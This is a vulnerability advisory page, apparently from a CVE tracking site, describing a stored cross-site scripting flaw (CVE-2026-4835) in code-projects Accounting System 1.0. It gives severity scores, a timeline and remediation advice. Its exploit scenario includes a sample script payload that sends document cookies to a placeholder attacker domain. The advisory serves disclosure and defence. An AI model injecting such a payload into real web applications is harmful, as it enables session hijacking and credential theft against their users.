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PHP CVE-2026-4835

| EUVD-2026-16080 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-03-26 VulDB GHSA-w43v-pfh7-6jqq
2.0
CVSS 4.0 · NVD

Severity by source

NVD PRIMARY
2.0 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
P
Scope
X

Lifecycle Timeline

6
Severity Changed
Apr 29, 2026 - 01:11 NVD
MEDIUM LOW
CVSS changed
Apr 29, 2026 - 01:11 NVD
5.1 (MEDIUM) 2.0 (LOW)
PoC Detected
Mar 30, 2026 - 13:26 vuln.today
Public exploit code
EUVD ID Assigned
Mar 26, 2026 - 02:30 euvd
EUVD-2026-16080
Analysis Generated
Mar 26, 2026 - 02:30 vuln.today
CVE Published
Mar 26, 2026 - 01:52 nvd
MEDIUM 5.1

DescriptionCVE.org

A security vulnerability has been detected in code-projects Accounting System 1.0. Impacted is an unknown function of the file /my_account/add_costumer.php of the component Web Application Interface. Such manipulation of the argument costumer_name leads to cross site scripting. The attack may be performed from remote. The exploit has been disclosed publicly and may be used.

AnalysisAI

A stored cross-site scripting (XSS) vulnerability exists in code-projects Accounting System 1.0 within the customer management interface (/my_account/add_costumer.php), where the costumer_name parameter fails to properly sanitize user input. Attackers with low privileges and user interaction can inject malicious JavaScript that will execute in the browsers of other users viewing the affected page, potentially leading to session hijacking, credential theft, or unauthorized actions within the accounting system. …

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Vulnerability AssessmentAI

Risk Assessment While the CVSS v3.1 score of 3.5 (Low severity) indicates limited direct impact (integrity only, no confidentiality or availability impact), multiple real-world risk indicators elevate practical concern. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An authenticated user with low privileges (e.g., data entry clerk) in the accounting system injects a malicious JavaScript payload such as '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>' into the costumer_name field when creating a new customer record. The payload is stored in the database without sanitization. …
Remediation The primary remediation is to upgrade to a patched version of code-projects Accounting System once released by the vendor; consult https://code-projects.org/ for security updates. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 30 days: Identify affected systems and apply vendor patches as part of regular patch cycle. …

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CVE-2026-4835 vulnerability details – vuln.today

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